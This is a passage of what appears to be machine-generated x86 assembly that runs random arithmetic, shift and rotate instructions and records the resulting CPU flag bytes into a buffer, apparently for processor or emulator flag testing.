dec ebx
mov ebx, 0xaf417c1d
mov ecx, 0x76284807
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x1f1f4d33
dec ecx
mov ebx, 0x3ee96a68
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x28883859
rol ebx, 1
mov ebx, 0xc0d2ca7d
rol ebx, 1
mov eax, 0x6cc3d6f
mov ecx, 0x98ffb5ee
ror eax, cl
mov ebx, 0x63644175
sal ebx, 1
mov ebx, 0x51d0b7d7
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x6c0b8578
mov ecx, 0x5fda7e1b
ror ebx, cl
mov edx, 0xf03d6b6b
mov ecx, 0x6d94c5aa
ror edx, cl
mov eax, 0x4e90019b
mov ecx, 0xd553d5eb
rol eax, cl
mov edx, 0x9bcb14fe
rol edx, 1
mov ebx, 0x311616ec
sub ebx, 0xca974689
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd01c07ae
rol ebx, 1
mov ebx, 0x15234ef0
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x25aa3177
rol edx, 1
mov edx, 0x8d13eba0
rol edx, 1
mov ebx, 0x8c6a851f
rol ebx, 1
mov eax, 0x7bd2e979
mov ebx, 0xe4a382df
sub eax, ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xd6b8474c
rol ebx, 1
mov edx, 0x428c15ef
add edx, 0x2dd5416e
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x428d021f
mov ecx, 0x5724b2c9
rol eax, cl
mov edx, 0xed66f49a
mov eax, 0x58a7dd30
cmp edx, eax
mov eax, 0xec13c19c
rol eax, 1
mov ecx, 0x6c7b6440
dec ecx
mov edx, 0x5557595f
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x1bdc3f28
mov ecx, 0x984f62d9
rol ebx, cl
mov eax, 0xdf585a7b
aas
mov ebx, 0x4170559b
mov ecx, 0x47b3b1ba
sar ebx, cl
mov ecx, 0xe077c6f
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x7fcfce4f
sal eax, 1
mov ebx, 0x59ab9275
sal ebx, 0xa6
mov ebx, 0xf1478207
shl ebx, 0x65
mov edx, 0x818052de
cmp edx, 0x53b9bd32
mov edx, 0xe94816fb
shl edx, 7
mov ebx, 0x34789420
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x9b8efe7a
neg ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x5669f6b0
sub eax, 0xf8ee419e
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xe241f568
mov eax, 0x53e6f1de
sub ecx, eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd16c1acb
mov ecx, 0x6a1f672b
rol ebx, cl
mov eax, 0xe37a1a2c
mov ecx, 0x372bbcc8
sub eax, ecx
mov eax, 0x625d4590
aaa
mov edx, 0x60a3f01a
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8015a7b2
aas
mov ebx, 0xb264a009
mov ecx, 0xd3f7e950
rol ebx, cl
mov ebx, 0x9d556b6c
mov ecx, 0xc00ccb2b
rol ebx, cl
mov eax, 0x4a49868
rol eax, 1
mov ebx, 0xc3b3308d
mov ecx, 0x2d221d66
sal ebx, cl
mov edx, 0x17934a0f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x7f940bc2
mov ecx, 0xd7e7f544
ror ebx, cl
mov eax, 0x90a914
rol eax, 1
mov edx, 0x3f384155
mov ebx, 0x2b11e7df
cmp edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x5e7c3f00
inc edx
mov ebx, 0xe668b332
mov ecx, 0x58b9a36
rol ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x78b9de00
dec ecx
mov ebx, 0xb998bd20
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xa2ba7013
mov ecx, 0x97e5bf01
shl eax, cl
mov eax, 0xa46e7761
rol eax, 1
mov ebx, 0xb08abe42
mov ecx, 0xfaf5248f
rol ebx, cl
mov eax, 0x6319323f
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa0450291
mov eax, 0x739af134
add edx, eax
mov ebx, 0x26137093
dec ebx
mov eax, 0x9a05a483
rol eax, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x300d3c0d
shl ebx, 1
mov ebx, 0x2322a450
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xc088125b
mov ecx, 0x742b06af
rol edx, cl
mov ebx, 0x18a04510
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xda823967
rol ebx, 1
mov ebx, 0x410622c0
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x9a1959c1
mov ecx, 0x6560b85f
rol eax, cl
mov eax, 0x7ddbe348
rol eax, 1
mov ebx, 0x478ec4c3
mov eax, 0xebafacc6
sub ebx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x1e9f0390
dec ebx
mov eax, 0x9ad8a69d
mov ecx, 0x5bb1be2
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8c25a41e
cmp ebx, 0x21faf953
mov eax, 0x1eb4c55f
aas
mov eax, 0xde57a526
aas
mov ebx, 0x414f3ce9
shl ebx, 0x88
mov eax, 0x3e41f610
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x5d6ca3a5
rol ebx, 1
mov ecx, 0x48f5df2a
mov ebx, 0xe68a89b9
sub ecx, ebx
mov eax, 0xcaa8bb9f
aas
mov edx, 0x20fd5f65
mov ecx, 0xe954817a
rol edx, cl
mov edx, 0x2d9fca1e
mov ecx, 0x9b3e3827
ror edx, cl
mov ebx, 0x4f8495d5
mov ecx, 0x436dce25
cmp ebx, ecx
mov edx, 0xb380ce81
rol edx, 1
mov eax, 0x7298dcb2
mov ecx, 0x647bfde8
ror eax, cl
mov eax, 0xd03c9ff3
mov ebx, 0x21c5aeaa
cmp eax, ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xe0401a56
mov ecx, 0xdfc3aed8
sar eax, cl
mov ebx, 0x775836e8
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3fb3ad21
mov ecx, 0x1922426a
ror edx, cl
mov eax, 0x22a9af30
dec eax
mov ebx, 0x406547bf
mov ecx, 0xc55c4a05
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xdd925678
mov ebx, 0x36315e5
add eax, ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xa151bb7b
mov ecx, 0xa67852dc
rol eax, cl
mov ebx, 0x29896b80
rol ebx, 1
mov eax, 0x21bc8f07
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xec5496b7
mov ecx, 0xffa729ac
rol edx, cl
mov eax, 0x4a6dd329
mov ecx, 0x128451d9
rol eax, cl
mov edx, 0x8b8ffa3f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xfb9efa93
mov ecx, 0xf5d96a01
sar eax, cl
mov ecx, 0x9f217610
neg ecx
mov eax, 0xe63488bd
aaa
mov eax, 0xc4c41bde
rol eax, 1
mov edx, 0x62062cff
mov ebx, 0xc0c74f3e
cmp edx, ebx
mov eax, 0x7e607ffd
aas
mov eax, 0x57c18430
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x3df9c467
mov ecx, 0xacc08607
ror edx, cl
mov edx, 0x9e119730
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x19804518
mov eax, 0xbb9fc08
add ecx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xefc5235e
cmp edx, 0x4d1a73d8
mov ecx, 0xc682f531
inc ecx
mov ebx, 0xc8ce5339
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x23a6c952
mov ecx, 0x1901e78f
rol edx, cl
mov eax, 0xe739b234
mov ecx, 0x3300f1c9
rol eax, cl
mov ebx, 0x5c30110f
sal ebx, 1
mov edx, 0x416308b0
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xc2ea09d0
mov ecx, 0x5ad5e5db
rol edx, cl
mov eax, 0xb290d0bc
shl eax, 1
mov edx, 0x27afffe0
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2f2e6ab
rol edx, 1
mov edx, 0x307cfca4
shl edx, 1
mov ecx, 0x67bdbfa0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x1037c398
sub ecx, 0xd9a41e39
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xda96d873
add edx, 0xf6179bf1
mov eax, 0xf327172
rol eax, 1
mov eax, 0xe89de4a
mov ecx, 0x25908a08
rol eax, cl
mov edx, 0x789b81ae
rol edx, 1
mov edx, 0x7d862686
rol edx, 1
mov edx, 0xd23d5d41
cmp edx, 0x4a32db43
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xed8a2995
mov ecx, 0xbf5fa66
rol edx, cl
mov eax, 0xd732fd
aaa
mov ecx, 0x3debbf17
mov ebx, 0x27480085
cmp ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc98c8dde
rol eax, 1
mov ebx, 0xb9b60e9f
rol ebx, 1
mov ebx, 0xe9a83545
add ebx, 0xdcc15be5
mov eax, 0x7a02d969
mov ecx, 0x9f4d9d86
rol eax, cl
mov ecx, 0x1f7534c0
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xb17458b9
cmp ecx, 0x169d0eda
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe10d6c12
mov ecx, 0x5fa4ace6
sal edx, cl
mov edx, 0x1ca1f4e
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x9a947420
rol ebx, 1
mov eax, 0xc27e9d8d
sub eax, 0x63dfb212
mov eax, 0x5efb7263
aaa
mov ecx, 0x971d697
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc72e45ed
rol edx, 1
mov ebx, 0x57de3870
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x25b7f301
mov ecx, 0x84b64cc9
shl edx, cl
mov eax, 0xeaa7ad70
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x736978d4
sub edx, 0x51ee19d5
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x26a1f9ae
aaa
mov eax, 0x8bdd65e5
aas
mov edx, 0x417f39d8
dec edx
mov eax, 0x769b9139
mov ecx, 0xbaaad806
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xda49a01b
mov ebx, 0x5f4e05d4
add edx, ebx
mov eax, 0x5168cb1b
aaa
mov ebx, 0x8ef893c3
rol ebx, 1
mov eax, 0x95d34a31
mov ecx, 0x73c2360b
rol eax, cl
mov ebx, 0xf0ed8fc7
sal ebx, 1
mov ecx, 0x975c35d6
mov ebx, 0xaa65bba4
sub ecx, ebx
mov eax, 0x2bc7e8fd
aas
mov eax, 0xa4847e4b
mov ecx, 0xba97dbb8
rol eax, cl
mov eax, 0xf9fab82d
mov ecx, 0xc425ecbd
rol eax, cl
mov edx, 0x37ca205f
inc edx
mov edx, 0x6040a4a
mov ecx, 0xb2171015
rol edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xab8895c4
sar eax, 0xcd
mov edx, 0xfeeffa2f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xdaa62dbf
rol edx, 1
mov ebx, 0x6e2cf2f7
mov ecx, 0x81df8004
rol ebx, cl
mov eax, 0x49eaf4b0
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xb28d2987
rol eax, 1
mov eax, 0x8952a0bf
mov ecx, 0x19ddb359
rol eax, cl
mov edx, 0x8b4ccc8e
rol edx, 1
mov ebx, 0x6d76836b
mov ecx, 0x2811419b
ror ebx, cl
mov edx, 0xae506b37
rol edx, 1
mov ebx, 0xb45b093d
mov ecx, 0xb4f8559b
add ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x6a4b9190
neg edx
mov edx, 0xf58e6ac0
dec edx
mov edx, 0x35a83b49
rol edx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x38f6e8e
shl ebx, 1
mov eax, 0x49aba8f1
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe0dd54cc
aas
mov eax, 0x2338aaa2
sar eax, 0x3b
mov eax, 0x329d543d
rol eax, 1
mov ebx, 0xec2200d0
mov ecx, 0x5ed583a
rol ebx, cl
mov edx, 0x12a39eaf
inc edx
mov edx, 0xdfcc7422
mov ecx, 0x35ff3416
ror edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x5c644dab
mov ecx, 0xe5f7ab26
rol eax, cl
mov edx, 0xf5ce5c21
mov ecx, 0xbac9a85f
ror edx, cl
mov eax, 0x190b3f72
aaa
mov edx, 0x353dd510
mov ecx, 0xa6941bd0
ror edx, cl
mov eax, 0xe7ad7bdd
sub eax, 0x8ae276e0
mov eax, 0x732e7d80
aas
mov ecx, 0x5c51f1
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x9a63a889
mov ecx, 0x70926705
sal ebx, cl
mov ebx, 0x79bff371
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xd24c7c6
rol eax, 1
mov edx, 0xa7dd32bc
mov ecx, 0xbfb4f3b2
ror edx, cl
mov edx, 0x7d7fa196
rol edx, 1
mov ebx, 0x9d77c078
mov ecx, 0x3761199
rol ebx, cl
mov edx, 0x2e3cc500
dec edx
mov eax, 0x3d72b17d
mov ecx, 0x8a7d5daa
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x5c072fff
inc edx
mov eax, 0xb1a35f2b
mov ecx, 0x5cd28d90
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5c0229f4
rol ebx, 1
mov ebx, 0x8837e283
mov ecx, 0xe136aa25
ror ebx, cl
mov ebx, 0x62c45122
mov ecx, 0x89d72756
ror ebx, cl
mov edx, 0x89201af1
cmp edx, 0x52d93f5f
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x99761bf6
mov ecx, 0x8411fde7
ror edx, cl
mov edx, 0x938194a0
neg edx
mov eax, 0x2e142edc
aas
mov ecx, 0x2232de7d
mov ebx, 0xfb83005e
add ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2eb7dd97
sub edx, 0xd6240224
mov eax, 0xbf233665
mov ecx, 0x3052835c
ror eax, cl
mov ebx, 0x173c9571
sal ebx, 0xc5
mov eax, 0x2f1bc310
rol eax, 1
mov edx, 0xe6066a33
mov ecx, 0xe8e1556e
rol edx, cl
mov eax, 0xa56d6771
mov ecx, 0xf98400ed
ror eax, cl
mov ebx, 0xa05a4fa
shl ebx, 1
mov edx, 0x3009d249
sal edx, 1
mov edx, 0xa7b6355d
mov ecx, 0xe35169e4
sal edx, cl
mov eax, 0xebd685ca
mov ecx, 0x23f16daa
ror eax, cl
mov eax, 0xfb475a80
dec eax
mov eax, 0x4e3bb48
mov ecx, 0xf5128e68
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6ed14204
mov ecx, 0x39f87cfa
ror eax, cl
mov eax, 0x2ac53cf0
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xed7d1465
mov ecx, 0x17d46f05
rol eax, cl
mov eax, 0x8cd0f502
rol eax, 1
mov eax, 0x11ad4210
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xd25c2689
rol edx, 1
mov edx, 0xed08f6da
add edx, 0x8ca12b9f
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x2ed9fe2c
mov ecx, 0x55206bb8
rol eax, cl
mov eax, 0x9e6fad7f
add eax, 0x777c7a76
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x15f3c3b
sal eax, 1
mov eax, 0xe40abd20
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4f86cd
mov ecx, 0x4aae05b8
rol ebx, cl
mov ebx, 0x63ba28c2
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x21e0dfd8
shl eax, 1
mov ebx, 0x54e9b5ee
mov ecx, 0x97085d2
ror ebx, cl
mov edx, 0x5a7ab8df
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x9334c9f5
aaa
mov ebx, 0xb48010d
mov edx, 0xede16dad
sub ebx, edx
mov eax, 0x2f03846
mov ecx, 0x1f33b439
ror eax, cl
mov ebx, 0x41abf6af
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x65d95275
add ecx, 0xab9ebfda
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa67717cf
rol eax, 1
mov edx, 0x221a5350
neg edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x28512da3
mov eax, 0x8b6e467
cmp edx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x83d88b4f
inc ebx
mov edx, 0xf5f07fae
mov ecx, 0xfe33d2b1
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x93080b17
rol edx, 1
mov ebx, 0x694c7f59
cmp ebx, 0x2d9533ef
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x7a4dac48
rol edx, 1
mov ebx, 0x9d817fd1
mov ecx, 0x8e26dd03
add ebx, ecx
mov ecx, 0x702fcd59
sub ecx, 0x463c629d
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xdc38e31
mov ecx, 0x1572595f
rol edx, cl
mov edx, 0xe5d0fb9b
mov ecx, 0x4193d03f
rol edx, cl
mov ebx, 0x53da669b
mov ecx, 0xd9855242
rol ebx, cl
mov edx, 0xd3b69a2c
sub edx, 0xc8b7425b
mov ecx, 0x6549beac
mov eax, 0x8e4e95b9
sub ecx, eax
mov edx, 0x196c7525
mov eax, 0xeb354412
cmp edx, eax
mov eax, 0x5ea642c2
mov ecx, 0x10e7fffd
cmp eax, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xbecb40d7
mov ecx, 0x459a386d
rol eax, cl
mov eax, 0xf1761f4c
add eax, 0xf3777c98
lahf
mov byte [edi], ah
inc edi
mov edx, 0xda6f7fa4
mov ecx, 0xb94eb93c
rol edx, cl
mov eax, 0xa8672e77
mov ecx, 0x4614a4ec
cmp eax, ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x507bc2ac
mov ecx, 0x500a7b37
rol edx, cl
mov ebx, 0x53f3ee9e
mov ecx, 0xd6620c99
ror ebx, cl
mov edx, 0xd5701e25
mov ecx, 0x30e9e1c4
cmp edx, ecx
mov eax, 0xde2b19cd
aas
mov ebx, 0xfdcb03b5
rol ebx, 1
mov eax, 0x28541514
aas
mov ebx, 0x4e846dbc
sal ebx, 0x39
mov ecx, 0xf4def9f
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x2f266d1c
add eax, 0xd76728c1
mov ebx, 0x26d3d60c
mov ecx, 0xa8c2cf61
ror ebx, cl
mov ebx, 0xc3273d50
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6f3ba37e
inc ebx
mov eax, 0x1f0faa7c
mov ecx, 0xac6e93c9
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x7615bcc5
shl ebx, 1
mov edx, 0x4ee287e0
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe6db546b
mov eax, 0x3578faaa
cmp ebx, eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8720530a
mov ecx, 0x5623cfc9
ror ebx, cl
mov ecx, 0x6aaa9ac8
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x5757f429
cmp ecx, 0xe2443280
mov eax, 0xdeb0a6cb
aas
mov ebx, 0x3d5eddbf
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x172b070
dec ecx
mov eax, 0xc2be2338
mov ecx, 0xe5795bee
ror eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xbfda23f6
rol eax, 1
mov edx, 0x3b2c95fa
mov ecx, 0xc9f5099a
cmp edx, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x5830336e
mov ecx, 0x8173eca4
sar edx, cl
mov ebx, 0x638943ef
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x2e548532
rol ebx, 1
mov ecx, 0xb4f0aecf
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xd84cd390
sal ebx, 1
mov eax, 0x8b6b9b44
neg eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xfce366c4
rol ebx, 1
mov eax, 0xb10c5d7d
aas
mov ebx, 0xfb2f6028
cmp ebx, 0x753ca355
mov ebx, 0x132a92b0
inc ebx
mov eax, 0x37f66c94
mov ecx, 0x8c910716
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x3cc9f3a5
mov ecx, 0x24d096b6
ror edx, cl
mov eax, 0xf9ea3fc1
mov ecx, 0xdd55a83
ror eax, cl
mov ebx, 0x228dccf0
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xc6bca0c2
mov ecx, 0xa2af9b9a
ror eax, cl
mov edx, 0x531c67a0
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe9b43459
mov ecx, 0x89dd24b5
sub ebx, ecx
mov ebx, 0xa5e1f950
dec ebx
mov edx, 0xbf1d7850
mov ecx, 0xabf4a5b7
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc9514fbd
sub eax, 0x95b60ccb
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xa020d045
rol ebx, 1
mov edx, 0x96ba97a5
rol edx, 1
mov ecx, 0x14411cb8
sub ecx, 0x9de67bd2
mov ebx, 0x5839f31b
mov eax, 0x1e7e8c9c
sub ebx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x443adbea
mov ebx, 0xe8eb8264
sub eax, ebx
mov ebx, 0x8d77591f
inc ebx
mov ebx, 0x2649d227
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x6bd1b1ed
dec edx
mov edx, 0xf40d448b
mov ecx, 0xdea4f41b
ror edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xae27c9ca
shl edx, 1
mov eax, 0x582b97c0
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x4e82d7ad
mov ecx, 0x39935d42
add ebx, ecx
mov eax, 0x11859c6e
aas
mov ecx, 0x947874e2
neg ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xfb8e25bf
cmp ecx, 0x8faf2f37
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x7231a48d
mov edx, 0xbd16ebea
add ebx, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xbc1ccb4f
mov ecx, 0x918f5cd6
sar ebx, cl
mov edx, 0x7e0855aa
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x394dd460
dec eax
mov ebx, 0x4505b9e8
mov ecx, 0x787c1313
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xf8acbc63
rol eax, 1
mov eax, 0x43ff6e1a
rol eax, 1
mov edx, 0xe89162ea
mov eax, 0x63f66207
add edx, eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x1801fd86
mov ecx, 0x9e86121
ror edx, cl
mov ebx, 0x3689cc89
cmp ebx, 0x268edc00
mov edx, 0xc04dcc07
mov ecx, 0x87028472
cmp edx, ecx
mov eax, 0x200c16c8
rol eax, 1
mov edx, 0xd62bbc9b
sub edx, 0x7a8859dd
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdf85c4d0
mov eax, 0xe1da16e7
add ebx, eax
mov eax, 0xb7e7e28a
aas
mov edx, 0xc194400
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xba783ac6
mov ecx, 0x5fdbeac3
rol edx, cl
mov ebx, 0x60907ec2
mov ecx, 0xef5315db
rol ebx, cl
mov eax, 0xaf9e97af
inc eax
mov ebx, 0x27aa12e3
rol ebx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x474d672b
inc ecx
mov edx, 0x4668d5ad
mov ecx, 0xe58bea9d
ror edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x54fee5cf
inc eax
mov ebx, 0x477bbdb7
mov ecx, 0xc30a1647
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3b2749ca
mov ecx, 0xc9e6bebc
ror ebx, cl
mov eax, 0xe6793c70
mov ecx, 0xa7408404
rol eax, cl
mov ebx, 0x1e5801a8
dec ebx
mov eax, 0x88221c94
mov ecx, 0x91ed989a
rol eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xf97ae232
mov ecx, 0x11a5bac1
ror ebx, cl
mov eax, 0x3a340b54
mov ecx, 0x59072db4
ror eax, cl
mov ebx, 0xd3211ae
sal ebx, 1
mov ebx, 0x108a8436
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x73ad55aa
mov ecx, 0x18c4aeec
rol eax, cl
mov eax, 0x96061ba4
sar eax, 0x74
mov ebx, 0x59eefdcd
cmp ebx, 0xfe8f9de9
mov eax, 0xfcf1d11a
sal eax, 0x77
mov edx, 0xde99e3bf
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7dd3ff92
sub eax, 0xd1057e8
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x48321c37
sal edx, 1
mov eax, 0x1b89c54f
sal eax, 1
mov eax, 0xe1059c95
mov ebx, 0x855aa53e
cmp eax, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5b61f060
dec eax
mov eax, 0x4c9dec66
mov ecx, 0xff747c9c
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xfc3fb394
aas
mov eax, 0xbd366c69
mov ecx, 0xded1c2e5
sar eax, cl
mov ebx, 0xfa00930d
sub ebx, 0xa2393b1f
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5f711cb6
mov ecx, 0x918c0b1
rol eax, cl
mov eax, 0xac0662aa
shl eax, 1
mov eax, 0x3033668a
mov ecx, 0x7ba28a16
ror eax, cl
mov ebx, 0x13805a68
mov ecx, 0xd80348ed
ror ebx, cl
mov eax, 0x447b4a88
cmp eax, 0xd2987304
mov eax, 0x93dc095d
aas
mov ecx, 0x1e0da40f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x303c7168
mov ecx, 0xc22f0235
rol ebx, cl
mov eax, 0x206c3836
mov edx, 0xe635ec74
sub eax, edx
mov eax, 0x917fe9b
aas
mov eax, 0x40f1de0
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x66076c7a
rol edx, 1
mov edx, 0xeff24d0
dec edx
mov eax, 0xebc97b13
mov ecx, 0x2fd01706
rol eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xf8df5900
sal eax, 1
mov edx, 0x20d8865f
inc edx
mov ebx, 0x2a6dc36a
mov ecx, 0x72848911
rol ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x2f0af3ce
mov eax, 0x437b8cdb
sub ecx, eax
mov eax, 0x74229ec8
cmp eax, 0xfeb32307
mov ebx, 0x76f5d1d9
mov ecx, 0x7c8ad254
sub ebx, ecx
mov ebx, 0x5eed26c
mov ecx, 0x7769b785
shl ebx, cl
mov eax, 0xf0abc7c0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x994c61f7
sar ebx, 0xcb
mov ebx, 0xb76925c
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x70149d80
mov ecx, 0xbdf54e
cmp edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x85f31b08
mov ebx, 0x42b06863
sub ecx, ebx
mov eax, 0x343535f9
mov ecx, 0xe66c0b02
ror eax, cl
mov ebx, 0x28cef21f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xf9014029
mov ecx, 0xcee8b453
ror ebx, cl
mov eax, 0x243dafbc
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9df5f398
sal edx, 0xba
mov ebx, 0x2d73ccb
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0xc9f47626
mov eax, 0x851d46c4
add ecx, eax
mov eax, 0x76de862b
aaa
mov eax, 0xb0ee2bf1
mov ecx, 0xee69503a
ror eax, cl
mov ebx, 0x9b87ce6a
sal ebx, 0xda
mov edx, 0x10ace3ff
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xac29fb39
sub edx, 0xfbae1ab8
mov edx, 0x2bca0c00
mov ecx, 0x5b3551b5
sal edx, cl
mov ebx, 0x3a968add
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xbbf69f2d
mov ecx, 0x2bf78c02
